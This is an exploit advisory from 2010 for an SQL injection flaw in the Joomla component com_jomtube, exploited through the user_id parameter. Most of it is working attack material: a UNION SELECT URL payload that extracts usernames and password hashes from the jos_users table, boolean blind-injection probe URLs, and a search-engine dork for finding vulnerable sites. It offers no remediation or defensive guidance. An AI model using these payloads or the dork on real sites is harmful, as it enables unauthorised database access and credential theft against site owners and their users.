=============================================================================== 
Joomla Component com_jomtube (user_id) Blind SQL Injection / SQL Injection 
=============================================================================== 
  
Author          : SixP4ck3r 
Email & msn     :   
Date            : 17 July 2010 
Critical Lvl    : High 
Impact          : Exposure of sensitive information 
Where           : From Remote 
web     : http://foro.nbsecurity.net/ 
Credits     : Diablada and caporal is Bolivian! 
Dork        : inurl:com_jomtube 
  
--------------------------------------------------------------------------- 
  
[Sofware afected info] 
Joomla Component (com_jomtube) 
[Download] 
http://www.jomtube.com/ 
[Afected versions] 
All versions + 0 day 
  
--------------------------------------------------------------------------- 
  
[Exploting..Bug..Demo..] 
[insert valid user_id=n] 
  
http://example/index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9 
  
,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+fr 
  
om+jos_users--&option=com_jomtube 
  
[Blind SQL Injection] 
http://example/index.php?view=videos&type=member&user_id=62+and+1=1--&option=com_jomtube 
http://example/index.php?view=videos&type=member&user_id=62+and+1=0--&option=com_jomtube 
--------------------------------------------------------------------------- 
  
With R3gards, 
SixP4ck3r from Bolivia 
___eof____